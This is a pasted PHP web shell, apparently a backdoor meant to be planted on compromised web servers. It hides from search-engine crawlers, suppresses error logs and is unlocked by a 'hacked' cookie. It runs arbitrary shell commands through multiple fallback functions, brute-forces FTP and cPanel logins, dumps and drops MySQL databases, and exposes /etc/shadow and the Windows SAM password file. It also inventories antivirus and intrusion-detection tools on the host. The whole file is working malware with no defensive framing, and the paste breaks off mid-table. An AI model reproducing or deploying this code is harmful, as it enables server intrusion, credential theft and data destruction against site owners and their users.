· 9 years ago · Mar 30, 2017, 06:32 PM
1<?php
2@set_magic_quotes_runtime(0);
3@ini_set('error_log',NULL);
4@ini_set('log_errors',0);
5ob_start();
6error_reporting(0);
7@set_time_limit(0);
8@ini_set('max_execution_time',0);
9@ini_set('output_buffering',0);
10
11if(!empty($_SERVER['HTTP_USER_AGENT']))
12{
13 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
14 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
15 header('HTTP/1.0 404 Not Found');
16 exit; }
17}
18// Dump Database
19if($_GET["action"] == "dumpDB")
20{
21 $self=$_SERVER["PHP_SELF"];
22 if(isset($_COOKIE['dbserver']))
23 {
24 $date = date("Y-m-d");
25 $dbserver = $_COOKIE["dbserver"];
26 $dbuser = $_COOKIE["dbuser"];
27 $dbpass = $_COOKIE["dbpass"];
28 $dbname = $_GET['dbname'];
29 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
30
31 $file = "Dump-$dbname-$date";
32
33 $file="Dump-$dbname-$date.sql";
34 $fp = fopen($file,"w");
35
36 function write($data)
37 {
38 global $fp;
39
40 fwrite($fp,$data);
41
42 }
43 mysql_connect ($dbserver, $dbuser, $dbpass);
44 mysql_select_db($dbname);
45 $tables = mysql_query ("SHOW TABLES");
46 while ($i = mysql_fetch_array($tables))
47 {
48 $i = $i['Tables_in_'.$dbname];
49 $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
50 write($create['Create Table'].";");
51 $sql = mysql_query ("SELECT * FROM ".$i);
52 if (mysql_num_rows($sql)) {
53 while ($row = mysql_fetch_row($sql)) {
54 foreach ($row as $j => $k) {
55 $row[$j] = "'".mysql_escape_string($k)."'";
56 }
57 write("INSERT INTO $i VALUES(".implode(",", $row).");");
58 }
59 }
60 }
61
62 fclose ($fp);
63
64 header("Content-Disposition: attachment; filename=" . $file);
65 header("Content-Type: application/download");
66 header("Content-Length: " . filesize($file));
67 flush();
68
69 $fp = fopen($file, "r");
70 while (!feof($fp))
71 {
72 echo fread($fp, 65536);
73 flush();
74 }
75 fclose($fp);
76 }
77}
78function shellstyle()
79{
80 echo "<style type=\"text/css\">
81<!--
82
83body,td,th {
84 color: #FF0000;
85 font-size: 14px;
86}
87input.but {
88 background-color:#000000;
89 color:#FF0000;
90 border : 1px solid #1B1B1B;
91}
92a:link {
93 color: #00FF00;
94 text-decoration:none;
95 font-weight:500;
96}
97a:hover {
98 color:#00FF00;
99 text-decoration:underline;
100}
101font.txt
102{
103 color: #00FF00;
104 text-decoration:none;
105 font-size:14px;
106}
107font.mainmenu
108{
109 color:#FF0000;
110 text-decoration:none;
111 font-size:14px;
112}
113a:visited {
114 color: #006600;
115}
116input.box
117{
118 background-color:#0C0C0C;
119 color: lime;
120 border : 1px solid #1B1B1B;
121 -moz-border-radius:6px;
122 width:400;
123 border-radius:6px;
124}
125input.sbox
126{
127 background-color:#0C0C0C;
128 color: lime;
129 border : 1px solid #1B1B1B;
130 -moz-border-radius:6px;
131 width:180;
132 border-radius:6px;
133}
134select.sbox
135{
136 background-color:#0C0C0C;
137 color: lime;
138 border : 1px solid #1B1B1B;
139 -moz-border-radius:6px;
140 width:180;
141 border-radius:6px;
142}
143select.box
144{
145 background-color:#0C0C0C;
146 color: lime;
147 border : 1px solid #1B1B1B;
148 -moz-border-radius:6px;
149 width:400;
150 border-radius:6px;
151}
152
153textarea.box
154{
155 border : 3px solid #111;
156 background-color:#161616;
157 color : lime;
158 margin-top: 10px;
159 -moz-border-radius:7px;
160 border-radius:7px;
161}
162body {
163 background-color:#000000;
164}
165.myphp table
166{
167 width:100%;
168 padding:18px 10px;
169 border : 1px solid #1B1B1B;
170}
171.myphp td
172{
173 background:#111111;
174 color:#00ff00;
175 padding:6px 8px;
176 border-bottom:1px solid #222222;
177 font-size:14px;
178}
179.myphp th, th
180{
181 background:#181818;
182
183}
184-->
185</style>";
186}
187if(isset($_COOKIE['hacked']) && $_COOKIE['hacked']==md5($pass))
188{
189 $self=$_SERVER["PHP_SELF"];
190 $os = "N/D";
191 $bdmessage = null;
192 $dir = getcwd();
193
194 if(stristr(php_uname(),"Windows"))
195 {
196 $SEPARATOR = '\\';
197 $os = "Windows";
198 $directorysperator="\\";
199 }
200 else if(stristr(php_uname(),"Linux"))
201 {
202 $os = "Linux";
203 $directorysperator='/';
204 }
205 function Trail($d,$directsperator)
206 {
207 $d=explode($directsperator,$d);
208 array_pop($d);
209 array_pop($d);
210 $str=implode($d,$directsperator);
211 return $str;
212 }
213
214 function ftp_check($host,$user,$pass,$timeout)
215 {
216 $ch = curl_init();
217 curl_setopt($ch, CURLOPT_URL, "ftp://$host");
218 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
219 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
220 curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
221 curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
222 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
223 curl_setopt($ch, CURLOPT_FAILONERROR, 1);
224 $data = curl_exec($ch);
225 if ( curl_errno($ch) == 28 )
226 {
227 print "<center><b>
228 Error : Connection Timeout.
229 Please Check The Target Hostname .</b></center>";exit;
230 }
231 else if ( curl_errno($ch) == 0 )
232 {
233 print "<center><b>[~]</b><font class=txt>
234 Cracking Success With Username "</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\"
235 and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b></center><br><br>";
236 }
237 curl_close($ch);
238 }
239
240 function cpanel_check($host,$user,$pass,$timeout)
241 {
242 global $cpanel_port;
243 $ch = curl_init();
244 curl_setopt($ch, CURLOPT_URL, "http://$host:" . $cpanel_port);
245 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
246 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
247 curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
248 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
249 curl_setopt($ch, CURLOPT_FAILONERROR, 1);
250 $data = curl_exec($ch);
251 if ( curl_errno($ch) == 28 )
252 { print "<center><b>Error : Connection Timeout.
253 Please Check The Target Hostname.</b></center>";exit;}
254 else if ( curl_errno($ch) == 0 ){
255 print "<ecnter><b>[~]</b><font class=txt><b>
256
257 Cracking Success With Username "</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\"
258 and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b></center><br><br>";
259 }
260 curl_close($ch);
261 }
262
263 // Database functions
264 function listdatabase()
265 {
266 $self=$_SERVER["PHP_SELF"];
267 ?>
268 <br>
269 <form>
270 <table>
271 <tr>
272 <td><input type="text" class="box" name="dbname"></td>
273 <td><input type="button" onClick="viewtables('createDB',dbname.value)" value=" Create Database " class="but"></td>
274 </tr>
275 </table>
276 </form>
277 <br>
278 <?php
279 $mysqlHandle = mysql_connect ($_COOKIE['dbserver'], $_COOKIE['dbuser'], $_COOKIE['dbpass']);
280 $result = mysql_query("SHOW DATABASE");
281 echo "<table cellspacing=1 cellpadding=5 border=1 style=width:60%;>\n";
282
283 $pDB = mysql_list_dbs( $mysqlHandle );
284 $num = mysql_num_rows( $pDB );
285 for( $i = 0; $i < $num; $i++ )
286 {
287 $dbname = mysql_dbname( $pDB, $i );
288 mysql_select_db($dbname,$mysqlHandle);
289 $result = mysql_query("SHOW TABLES");
290 $num_of_tables = mysql_num_rows($result);
291 echo "<tr>\n";
292 echo "<td><a href=# onClick=\"viewtables('listTables','$dbname')\"><font size=3>$dbname</font></a> ($num_of_tables)</td>\n";
293 echo "<td><a href=# onClick=\"viewtables('listTables','$dbname')\">Tables</a></td>\n";
294 echo "<td><a href=# onClick=\"viewtables('dropDB','$dbname')\">Drop</a></td>\n";
295 echo "<td><a href='$self?action=dumpDB&dbname=$dbname' onClick=\"return confirm('Dump Database \'$dbname\'?')\">Dump</a></td>\n";
296 echo "</tr>\n";
297 }
298 echo "</table>\n";
299 mysql_close($mysqlHandle);
300 }
301
302 function listtable()
303 {
304 $self=$_SERVER["PHP_SELF"];
305 $dbserver = $_COOKIE["dbserver"];
306 $dbuser = $_COOKIE["dbuser"];
307 $dbpass = $_COOKIE["dbpass"];
308 $dbname = $_GET['dbname'];
309 echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
310 ?>
311 <br><br>
312 <form>
313 <table>
314
315 <tr>
316 <td><input type="text" class="box" name="tablename"></td>
317 <td><input type="button" onClick="viewtables('createtable','<?php echo $_GET['dbname'];?>')" value=" Create Table " name="createmydb" class="but"></td>
318 </tr>
319 </table>
320
321 <br>
322 <form>
323 <table>
324 <tr>
325 <td><textarea cols="60" rows="7" name="executemyquery" class="box">Execute Query..</textarea></td>
326 </tr>
327 <tr>
328 <td><input type="button" onClick="viewtables('executequery','<?php echo $_GET['dbname'];?>','<?php echo $_GET['tablename']; ?>','','',executemyquery.value)" value="Execute" class="but"></td>
329 </tr>
330 </table>
331 </form>
332
333 <?php
334
335 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
336
337 mysql_select_db($dbname);
338 $pTable = mysql_list_tables( $dbname );
339
340 if( $pTable == 0 ) {
341 $msg = mysql_error();
342 echo "<h3>Error : $msg</h3><p>\n";
343 return;
344 }
345 $num = mysql_num_rows( $pTable );
346
347 echo "<table cellspacing=1 cellpadding=5 border=1 style=width:60%;>\n";
348
349 for( $i = 0; $i < $num; $i++ )
350 {
351 $tablename = mysql_tablename( $pTable, $i );
352 $result = mysql_query("select * from $tablename");
353 $num_rows = mysql_num_rows($result);
354 echo "<tr>\n";
355 echo "<td>\n";
356 echo "<a href=# onClick=\"viewtables('viewdata','$dbname','$tablename')\"><font size=3>$tablename</font></a> ($num_rows)\n";
357 echo "</td>\n";
358 echo "<td>\n";
359 echo "<a href=# onClick=\"viewtables('viewSchema','$dbname','$tablename')\">Schema</a>\n";
360 echo "</td>\n";
361 echo "<td>\n";
362 echo "<a href=# onClick=\"viewtables('viewdata','$dbname','$tablename')\">Data</a>\n";
363 echo "</td>\n";
364 echo "<td>\n";
365 echo "<a href=# onClick=\"viewtables('empty','$dbname','$tablename')\">Empty</a>\n";
366 echo "</td>\n";
367 echo "<td>\n";
368 echo "<a href=# onClick=\"viewtables('dropTable','$dbname','$tablename')\">Drop</a>\n";
369 echo "</td>\n";
370 echo "</tr>\n";
371 }
372
373 echo "</table></form>";
374 mysql_close($mysqlHandle);
375 echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
376 }
377
378
379 function paramexe($n, $v)
380 {
381 $v = trim($v);
382 if($v)
383 {
384 echo '<span><font size=3>' . $n . ': </font></span>';
385 if(strpos($v, "\n") === false)
386 echo '<font size=2>' . $v . '</font><br>';
387 else
388 echo '<pre class=ml1><font class=txt size=3>' . $v . '</font></pre>';
389 }
390 }
391
392
393
394 function rrmdir($dir)
395 {
396 if (is_dir($dir)) // ensures that we actually have a directory
397 {
398 $objects = scandir($dir); // gets all files and folders inside
399 foreach ($objects as $object)
400 {
401 if ($object != '.' && $object != '..')
402 {
403 if (is_dir($dir . '/' . $object))
404 {
405 // if we find a directory, do a recursive call
406 rrmdir($dir . '/' . $object);
407 }
408 else
409 {
410 // if we find a file, simply delete it
411 unlink($dir . '/' . $object);
412 }
413 }
414 }
415 // the original directory is now empty, so delete it
416 rmdir($dir);
417 }
418 }
419
420 function which($pr)
421 {
422 $path = execmd("which $pr");
423 if(!empty($path))
424 return trim($path);
425 else
426 return trim($pr);
427 }
428
429 function magicboom($text)
430 {
431 if (!get_magic_quotes_gpc())
432 return $text;
433 return stripslashes($text);
434 }
435
436function execmd($cmd,$d_functions="None")
437{
438 if($d_functions=="None")
439 {
440 $ret=passthru($cmd);
441 return $ret;
442 }
443 $funcs=array("shell_exec","exec","passthru","system","popen","proc_open");
444 $d_functions=str_replace(" ","",$d_functions);
445 $dis_funcs=explode(",",$d_functions);
446 foreach($funcs as $safe)
447 {
448 if(!in_array($safe,$dis_funcs))
449 {
450 if($safe=="exec")
451 {
452 $ret=@exec($cmd);
453 $ret=join("\n",$ret);
454 return $ret;
455 }
456 elseif($safe=="system")
457 {
458 $ret=@system($cmd);
459 return $ret;
460 }
461 elseif($safe=="passthru")
462 {
463 $ret=@passthru($cmd);
464 return $ret;
465 }
466 elseif($safe=="shell_exec")
467 {
468 $ret=@shell_exec($cmd);
469 return $ret;
470 }
471 elseif($safe=="popen")
472 {
473 $ret=@popen("$cmd",'r');
474 if(is_resource($ret))
475 {
476 while(@!feof($ret))
477 $read.=@fgets($ret);
478 @pclose($ret);
479 return $read;
480 }
481 return -1;
482 }
483 elseif($safe="proc_open")
484 {
485 $cmdpipe=array(
486 0=>array('pipe','r'),
487 1=>array('pipe','w')
488 );
489 $resource=@proc_open($cmd,$cmdpipe,$pipes);
490 if(@is_resource($resource))
491 {
492 while(@!feof($pipes[1]))
493 $ret.=@fgets($pipes[1]);
494 @fclose($pipes[1]);
495 @proc_close($resource);
496 return $ret;
497 }
498 return -1;
499 }
500 }
501 }
502 return -1;
503}
504
505 function getDisabledFunctions()
506 {
507 if(!ini_get('disable_functions'))
508 {
509 return "None";
510 }
511 else
512 {
513 return @ini_get('disable_functions');
514 }
515 }
516
517 function getFilePermissions($file)
518 {
519 $perms = fileperms($file);
520
521 if (($perms & 0xC000) == 0xC000) {
522 // Socket
523 $info = 's';
524 } elseif (($perms & 0xA000) == 0xA000) {
525 // Symbolic Link
526 $info = 'l';
527 } elseif (($perms & 0x8000) == 0x8000) {
528 // Regular
529 $info = '-';
530 } elseif (($perms & 0x6000) == 0x6000) {
531 // Block special
532 $info = 'b';
533 } elseif (($perms & 0x4000) == 0x4000) {
534 // Directory
535 $info = 'd';
536 } elseif (($perms & 0x2000) == 0x2000) {
537 // Character special
538 $info = 'c';
539 } elseif (($perms & 0x1000) == 0x1000) {
540 // FIFO pipe
541 $info = 'p';
542 } else {
543 // Unknown
544 $info = 'u';
545 }
546
547 // Owner
548 $info .= (($perms & 0x0100) ? 'r' : '-');
549 $info .= (($perms & 0x0080) ? 'w' : '-');
550 $info .= (($perms & 0x0040) ?
551 (($perms & 0x0800) ? 's' : 'x' ) :
552 (($perms & 0x0800) ? 'S' : '-'));
553
554 // Group
555 $info .= (($perms & 0x0020) ? 'r' : '-');
556 $info .= (($perms & 0x0010) ? 'w' : '-');
557 $info .= (($perms & 0x0008) ?
558 (($perms & 0x0400) ? 's' : 'x' ) :
559 (($perms & 0x0400) ? 'S' : '-'));
560
561 // World
562 $info .= (($perms & 0x0004) ? 'r' : '-');
563 $info .= (($perms & 0x0002) ? 'w' : '-');
564 $info .= (($perms & 0x0001) ?
565 (($perms & 0x0200) ? 't' : 'x' ) :
566 (($perms & 0x0200) ? 'T' : '-'));
567
568 return $info;
569}
570 function filepermscolor($filename)
571 {
572 if(!@is_readable($filename))
573 return "<font color=\"#FF0000\">".getFilePermissions($filename)."</font>";
574 else if(!@is_writable($filename))
575 return "<font color=\"#FFFFFF\">".getFilePermissions($filename)."</font>";
576 else
577 return "<font color=\"#00FF00\">".getFilePermissions($filename)."</font>";
578 }
579
580 function yourip()
581 {
582 echo $_SERVER["REMOTE_ADDR"];
583 }
584 function phpver()
585 {
586 $pv=@phpversion();
587 echo $pv;
588 }
589 function magic_quote()
590 {
591 echo get_magic_quotes_gpc()?"<font class=txt>ON</font>":"<font color='red'>OFF</font>";
592 }
593 function serverip()
594 {
595 echo getenv('SERVER_ADDR');
596 }
597 function serverport()
598 {
599 echo $_SERVER['SERVER_PORT'];
600 }
601 function safe()
602 {
603 global $sm;
604 return $sm?"ON :( :'( (Most of the Features will Not Work!)":"OFF";
605 }
606 function serveradmin()
607 {
608 echo $_SERVER['SERVER_ADMIN'];
609 }
610 function systeminfo()
611 {
612 echo php_uname();
613 }
614 function curlinfo()
615 {
616 echo function_exists('curl_version')?("<font class=txt>Enabled</font>"):("<font color='red'>Disabled</font>");
617 }
618 function oracleinfo()
619 {
620 echo function_exists('ocilogon')?("<font class=txt>Enabled</font>"):("<font color='red'>Disabled</font>");
621 }
622 function mysqlinfo()
623 {
624 echo function_exists('mysql_connect')?("<font class=txt>Enabled</font>"):("<font color='red'>Disabled</font>");
625 }
626 function mssqlinfo()
627 {
628 echo function_exists('mssql_connect')?("<font class=txt>Enabled</font>"):("<font color='red'>Disabled</font>");
629 }
630 function postgresqlinfo()
631 {
632 echo function_exists('pg_connect')?("<font class=txt>Enabled</font>"):("<font color='red'>Disabled</font>");
633 }
634 function softwareinfo()
635 {
636 echo getenv("SERVER_SOFTWARE");
637 }
638 function download()
639 {
640 $frd=$_GET['download'];
641 $prd=explode("/",$frd);
642 for($i=0;$i<sizeof($prd);$i++)
643 {
644 $nfd=$prd[$i];
645 }
646 @ob_clean();
647 header("Content-type: application/octet-stream");
648 header("Content-length: ".filesize($nfd));
649 header("Content-disposition: attachment; filename=\"".$nfd."\";");
650 readfile($nfd);
651
652 exit;
653
654 }
655
656 function HumanReadableFilesize($size)
657 {
658 $mod = 1024;
659 $units = explode(' ','B KB MB GB TB PB');
660 for ($i = 0; $size > $mod; $i++)
661 {
662 $size /= $mod;
663 }
664 return round($size, 2) . ' ' . $units[$i];
665 }
666
667 function showDrives()
668 {
669 global $self;
670 foreach(range('A','Z') as $drive)
671 {
672 if(is_dir($drive.':\\'))
673 {
674 $myd = $drive.":\\";
675 ?>
676 <a href=javascript:void(0) onClick="changedir('dir','<?php echo addslashes($myd); ?>')">
677 <?php echo $myd; ?>
678 </a>
679 <?php
680 }
681 }
682 }
683 function diskSpace()
684 {
685 return disk_total_space("/");
686 }
687 function freeSpace()
688 {
689 return disk_free_space("/");
690 }
691
692 function thiscmd($p)
693 {
694 $path = myexe('which ' . $p);
695 if(!empty($path))
696 return $path;
697 return false;
698 }
699
700 function mysecinfo()
701 {
702 function myparam($n, $v)
703 {
704 $v = trim($v);
705 if($v)
706 {
707 echo '<span><font color =red size=3>' . $n . ': </font></span>';
708 if(strpos($v, "\n") === false)
709 echo '<font color =lime size=3>' . $v . '</font><br>';
710 else
711 echo '<pre class=ml1><font color =lime size=3>' . $v . '</font></pre>';
712 }
713 }
714
715 myparam('Server software', @getenv('SERVER_SOFTWARE'));
716 if(function_exists('apache_get_modules'))
717 myparam('Loaded Apache modules', implode(', ', apache_get_modules()));
718 myparam('Open base dir', @ini_get('open_basedir'));
719 myparam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
720 myparam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
721 $temp=array();
722 if(function_exists('mysql_get_client_info'))
723 $temp[] = "MySql (".mysql_get_client_info().")";
724 if(function_exists('mssql_connect'))
725 $temp[] = "MSSQL";
726 if(function_exists('pg_connect'))
727 $temp[] = "PostgreSQL";
728 if(function_exists('oci_connect'))
729 $temp[] = "Oracle";
730 myparam('Supported databases', implode(', ', $temp));
731 echo '<br>';
732
733 if($GLOBALS['os'] == 'Linux') {
734 myparam('Distro : ', myexe("cat /etc/*-release"));
735 myparam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href=javascript:void(0) onClick=\"getmydata('passwd')\">[view]</a>":'no');
736 myparam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href=javascript:void(0) onClick=\"getmydata('shadow')\">[view]</a>":'no');
737 myparam('OS version', @file_get_contents('/proc/version'));
738 myparam('Distr name', @file_get_contents('/etc/issue.net'));
739 myparam('Where is Perl?', myexe('whereis perl'));
740 myparam('Where is Python?', myexe('whereis python'));
741 myparam('Where is gcc?', myexe('whereis gcc'));
742 myparam('Where is apache?', myexe('whereis apache'));
743 myparam('CPU?', myexe('cat /proc/cpuinfo'));
744 myparam('RAM', myexe('free -m'));
745 myparam('Mount options', myexe('cat /etc/fstab'));
746 myparam('User Limits', myexe('ulimit -a'));
747
748
749 if(!$GLOBALS['safe_mode']) {
750 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
751 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
752 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
753 echo '<br>';
754 $temp=array();
755 foreach ($userful as $item)
756 if(thiscmd($item))
757 $temp[] = $item;
758 myparam('Userful', implode(', ',$temp));
759 $temp=array();
760 foreach ($danger as $item)
761 if(thiscmd($item))
762 $temp[] = $item;
763 myparam('Danger', implode(', ',$temp));
764 $temp=array();
765 foreach ($downloaders as $item)
766 if(thiscmd($item))
767 $temp[] = $item;
768 myparam('Downloaders', implode(', ',$temp));
769 echo '<br/>';
770 myparam('HDD space', myexe('df -h'));
771 myparam('Hosts', @file_get_contents('/etc/hosts'));
772
773 }
774 } else {
775 $repairsam = addslashes($_SERVER["WINDIR"]."\\repair\\sam");
776 $hostpath = addslashes($_SERVER["WINDIR"]."\system32\drivers\etc\hosts");
777 $netpath = addslashes($_SERVER["WINDIR"]."\system32\drivers\etc\\networks");
778 $sampath = addslashes($_SERVER["WINDIR"]."\system32\drivers\etc\lmhosts.sam");
779 echo "<font size=3>Password File : </font><a href=".$_SERVER['PHP_SELF']."?download=" . $repairsam ."><b><font class=txt size=3>Download password file</font></b></a><br>";
780 echo "<font size=3>Config Files : </font><a href=javascript:void(0) onClick=\"fileaction('open','$hostpath')\"><b><font class=txt size=3>[ Hosts ]</font></b></a> <a href=javascript:void(0) onClick=\"fileaction('open','$netpath')\"><b><font class=txt size=3>[ Local Network Map ]</font></b></a> <a href=javascript:void(0) onClick=\"fileaction('open','$sampath')\"><b><font class=txt size=3>[ lmhosts ]</font></b></a><br>";
781 $base = (ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON":"OFF";
782 echo "<font size=3>Open Base Dir : </font><font class=txt size=3>" . $base . "</font><br>";
783 myparam('OS Version',myexe('ver'));
784 myparam('Account Settings',myexe('net accounts'));
785 myparam('User Accounts',myexe('net user'));
786 }
787 echo '</div>';
788 }
789
790
791
792 function myexe($in)
793 {
794 $out = '';
795 if (function_exists('exec')) {
796 @exec($in,$out);
797 $out = @join("\n",$out);
798 } elseif (function_exists('passthru')) {
799 ob_start();
800 @passthru($in);
801 $out = ob_get_clean();
802 } elseif (function_exists('system')) {
803 ob_start();
804 @system($in);
805 $out = ob_get_clean();
806 } elseif (function_exists('shell_exec')) {
807 $out = shell_exec($in);
808 } elseif (is_resource($f = @popen($in,"r"))) {
809 $out = "";
810 while(!@feof($f))
811 $out .= fread($f,1024);
812 pclose($f);
813 }
814 return $out;
815}
816
817 function exec_all($command)
818 {
819
820 $output = '';
821 if(function_exists('exec'))
822 {
823 exec($command,$output);
824 $output = join("\n",$output);
825 }
826
827 else if(function_exists('shell_exec'))
828 {
829 $output = shell_exec($command);
830 }
831
832 else if(function_exists('popen'))
833 {
834 $handle = popen($command , "r"); // Open the command pipe for reading
835 if(is_resource($handle))
836 {
837 if(function_exists('fread') && function_exists('feof'))
838 {
839 while(!feof($handle))
840 {
841 $output .= fread($handle, 512);
842 }
843 }
844 else if(function_exists('fgets') && function_exists('feof'))
845 {
846 while(!feof($handle))
847 {
848 $output .= fgets($handle,512);
849 }
850
851
852
853 }
854 }
855 pclose($handle);
856 }
857
858
859 else if(function_exists('system'))
860 {
861 ob_start(); //start output buffering
862 system($command);
863 $output = ob_get_contents(); // Get the ouput
864 ob_end_clean(); // Stop output buffering
865 }
866
867 else if(function_exists('passthru'))
868 {
869 ob_start(); //start output buffering
870 passthru($command);
871 $output = ob_get_contents(); // Get the ouput
872 ob_end_clean(); // Stop output buffering
873 }
874
875 else if(function_exists('proc_open'))
876 {
877 $descriptorspec = array(
878 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
879 );
880 $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
881 if(is_resource($handle))
882 {
883 if(function_exists('fread') && function_exists('feof'))
884 {
885 while(!feof($pipes[1]))
886 {
887 $output .= fread($pipes[1], 512);
888 }
889 }
890 else if(function_exists('fgets') && function_exists('feof'))
891 {
892 while(!feof($pipes[1]))
893 {
894 $output .= fgets($pipes[1],512);
895 }
896 }
897 }
898 pclose($handle);
899 }
900
901 return(htmlspecialchars($output));
902
903}
904
905$basedir=(ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"<font class=txt>ON</font>":"<font color='red'>OFF</font>";
906$etc_passwd=@is_readable("/etc/passwd")?"Yes":"No";
907
908function getOGid($value)
909{
910 if(!function_exists('posix_getegid')) {
911 $user = @get_current_user();
912 $uid = @getmyuid();
913 $gid = @getmygid();
914 $group = "?";
915 $owner = $uid . "/". $gid;
916 return $owner;
917 } else {
918 $name=@posix_getpwuid(@fileowner($value));
919 $group=@posix_getgrgid(@filegroup($value));
920 $owner = $name['name']. " / ". $group['name'];
921 return $owner;
922 }
923}
924
925function mainfun($dir)
926{
927 global $ind, $directorysperator,$os;
928
929 $mydir = basename(dirname(__FILE__));
930 $pdir = str_replace($mydir,"",$dir);
931 $pdir = str_replace("/","",$dir);
932
933 $files = array();
934 $dirs = array();
935
936 $odir=opendir($dir);
937 while($file = readdir($odir))
938 {
939 if(is_dir($dir.'/'.$file))
940 {
941 $dirs[]=$file;
942 }
943 else
944 {
945 $files[]=$file;
946 }
947 }
948 $countfiles = count($dirs) + count($files);
949 $dircount = count($dirs);
950 $dircount = $dircount-2;
951 $myfiles = array_merge($dirs,$files);
952 $i = 0;
953 if(is_dir($dir))
954 {
955 if(scandir($dir) === false)
956 echo "<center><font size=3>Directory isn't readable</font></center>";
957 else
958 {
959?><form method="post" id="myform" name="myform">
960 <table id="maintable" style="width:100%;" align="center" cellpadding="3">
961 <tr><td colspan="7"><center><div id="showmydata"></div></center></td></tr>
962 <tr style="background-color:#0C0C0C;"><td colspan="8" align="center"><font size="3">Listing folder <?php echo $dir; ?></font> (<?php echo $dircount.' Dirs And '.count($files).' Files'; ?>)</td>
963 <tr style="background-color:#0C0C0C; height:12px;">
964 <th>Name</th>
965 <th>Size</th>
966 <th>Permissions</th>
967 <?php if($os != "Windows"){ echo "<th>Owner / Group</th>"; } ?>
968 <th>Modification Date</th>
969 <th>Rename</th>
970 <th>Download</th>
971 <th style="width:2%;">Action</th>
972 </tr>
973 <?php
974 foreach($myfiles as $val)
975 {
976 $vv = addslashes($dir . $directorysperator . $val);
977 $i++;
978
979 if($val == ".")
980 {
981
982 ?><tr style="background-color:#0C0C0C;" onMouseOver="style.backgroundColor='#000000'" onMouseOut="style.backgroundColor='#0C0C0C'"><td class='info'><a href=javascript:void(0) onClick="changedir('dir','<?php echo addslashes($dir); ?>')"><font class=txt>[ . ]</font></a></td><td><font size=2>CURDIR</font></td>
983 <td><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($dir); ?></a></td>
984
985 <?php if($os != 'Windows')
986 {
987 echo "<td align=center><font size=2>";
988 echo getOGid($dir)."</font></td>";
989 }
990 ?>
991
992 <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($vv)); ?></font></td>
993 <td></td><td></td><td></td></</tr><?php
994
995 }
996 else if($val == "..")
997 {
998 $val = Trail($dir . $directorysperator . $val,$directorysperator);
999 $vv = addslashes($val);
1000 if(empty($vv))
1001 $vv = "/"; ?>
1002 <tr style="background-color:#0C0C0C;" onMouseOver="style.backgroundColor='#000000'" onMouseOut="style.backgroundColor='#0C0C0C'"><td class='info'><a href=javascript:void(0) onClick="changedir('dir','<?php echo $vv; ?>')"><font class=txt>[ .. ]</font></a></td><td><font size=2>UPDIR</font></td>
1003 <td><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($val); ?></a></td>
1004 <?php if($os != 'Windows')
1005 {
1006 echo "<td align=center><font size=2>";
1007 echo getOGid($val)."</font></td>";
1008
1009 } ?>
1010 <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($val)); ?></font></td>
1011 <td></td><td></td><td></td></tr><?php continue;
1012 }
1013 else if(is_dir($vv))
1014 {
1015 ?>
1016 <tr style="background-color:#0C0C0C;" onMouseOver="style.backgroundColor='#000000'" onMouseOut="style.backgroundColor='#0C0C0C'">
1017 <td class='dir'><a href=javascript:void(0) onClick="changedir('dir','<?php echo $vv; ?>')">[ <?php echo $val; ?> ]</a></td>
1018 <td class='info'><font size=2>DIR</font></td>
1019
1020 <td class='info'><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($dir . $directorysperator . $val); ?></a></td>
1021 <?php if($os != 'Windows')
1022 {
1023 echo "<td align=center><font size=2>";
1024 echo getOGid($val)."</font></td>";
1025 } ?>
1026 <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($dir . $directorysperator . $val)); ?></font></td>
1027 <td class="info"><a href=javascript:void(0) onClick="fileaction('rename','<?php echo $vv; ?>')"><font size=2>Rename</font></a></td>
1028 <td></td>
